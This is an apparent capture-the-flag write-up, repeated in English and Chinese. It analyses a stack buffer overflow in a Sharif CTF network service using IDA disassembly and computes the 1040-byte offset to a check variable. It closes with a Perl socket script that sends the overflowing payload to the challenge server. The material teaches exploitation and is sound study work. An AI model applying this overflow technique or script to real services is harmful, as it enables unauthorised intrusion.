It's easy to find out where is the bug :
.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine proc near ; DATA XREF: sub_401182+C8o
...
.text:0000000000400F3B lea rcx, [rbp+haystack]
.text:0000000000400F42 lea rsi, [rcx+rax] ; buf
.text:0000000000400F46 mov eax, [rbp+fd]
.text:0000000000400F49 mov ecx, 0 ; flags
.text:0000000000400F4E mov edi, eax ; fd
.text:0000000000400F50 call _recv
...
.text:0000000000400F91 lea rax, [rbp+var_20]
.text:0000000000400F95 movzx eax, byte ptr [rax]
.text:0000000000400F98 cmp al, 1
when call the function recv(.text:0000000000400F50 ) , if the buf to large it will overwrite the stack rbp+var_20.
seeing the stack sataic:
.text:0000000000400DE4 haystack = byte ptr -430h
.text:0000000000400DE4 s = byte ptr -330h
.text:0000000000400DE4 var_230 = byte ptr -230h
.text:0000000000400DE4 var_28 = qword ptr -28h
.text:0000000000400DE4 var_20 = qword ptr -20h
.text:0000000000400DE4 src = qword ptr -18h
.text:0000000000400DE4 var_10 = qword ptr -10h
.text:0000000000400DE4 fd = dword ptr -8
.text:0000000000400DE4 var_4 = dword ptr -4
we can calculate out the length of buf:
haystack - var_20 = 0x430-0x20=0x410 = 1040
send content: (?)x 1040 . \x01. "\n"
"\x01" x 1041 . "\n";
the max length of the buf:
haystack - fd = 0x430 - 0x8 =1064
send contend can be: (?)x 1040 . \x01. (?) x22 "\n"
"\x01" x 1063 . "\n";
#!/usr/bin/perl -w use Socket; #ip address of ctf.sharif.edu my $ip="ctf.sharif.edu"; my $port="27515"; my $dest=sockaddr_in($port,inet_aton($ip)); my $buf=undef; socket(SOCK,PF_INET,SOCK_STREAM,6) or die "Can't create socket: $!"; connect(SOCK,$dest) or die "Can't connect: $!"; sysread(SOCK, $buf, 2048); # try to read 2048 #print $buf; send SOCK,"hi\n",0; sysread(SOCK, $buf, 2048); # try to read 2048 #print $buf; #"\x01" x [1041..1063] send SOCK,"\x01" x 1041 . "\n",0; sysread(SOCK, $buf, 2048); # try to read 2048 print $buf; close SOCK;
用IDA的要Question, 很容易找到有问题的地方,
.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine proc near ; DATA XREF: sub_401182+C8o
...
.text:0000000000400F3B lea rcx, [rbp+haystack]
.text:0000000000400F42 lea rsi, [rcx+rax] ; buf
.text:0000000000400F46 mov eax, [rbp+fd]
.text:0000000000400F49 mov ecx, 0 ; flags
.text:0000000000400F4E mov edi, eax ; fd
.text:0000000000400F50 call _recv
...
.text:0000000000400F91 lea rax, [rbp+var_20]
.text:0000000000400F95 movzx eax, byte ptr [rax]
.text:0000000000400F98 cmp al, 1
里recv,超长的会把rbp+var_20翻盖掉,再看栈区:
.text:0000000000400DE4 haystack = byte ptr -430h
.text:0000000000400DE4 s = byte ptr -330h
.text:0000000000400DE4 var_230 = byte ptr -230h
.text:0000000000400DE4 var_28 = qword ptr -28h
.text:0000000000400DE4 var_20 = qword ptr -20h
.text:0000000000400DE4 src = qword ptr -18h
.text:0000000000400DE4 var_10 = qword ptr -10h
.text:0000000000400DE4 fd = dword ptr -8
.text:0000000000400DE4 var_4 = dword ptr -4
从栈区可以计算出 buf的长度。
haystack - var_20 = 0x430-0x20=0x410 = 1040
发送的内容应该是: (?)x 1040 . \x01. "\n"
"\x01" x 1041 . "\n";
发送的内容buf最长可以是:
haystack - fd = 0x430 - 0x8 =1064
发送的内容应该是: (?)x 1040 . \x01. (?) x22 "\n"
"\x01" x 1063 . "\n";
#!/usr/bin/perl -w use Socket; #ip address of ctf.sharif.edu my $ip="ctf.sharif.edu"; my $port="27515"; my $dest=sockaddr_in($port,inet_aton($ip)); my $buf=undef; socket(SOCK,PF_INET,SOCK_STREAM,6) or die "Can't create socket: $!"; connect(SOCK,$dest) or die "Can't connect: $!"; sysread(SOCK, $buf, 2048); # try to read 2048 #print $buf; send SOCK,"hi\n",0; sysread(SOCK, $buf, 2048); # try to read 2048 #print $buf; #"\x01" x [1041..1063] send SOCK,"\x01" x 1041 . "\n",0; sysread(SOCK, $buf, 2048); # try to read 2048 print $buf; close SOCK;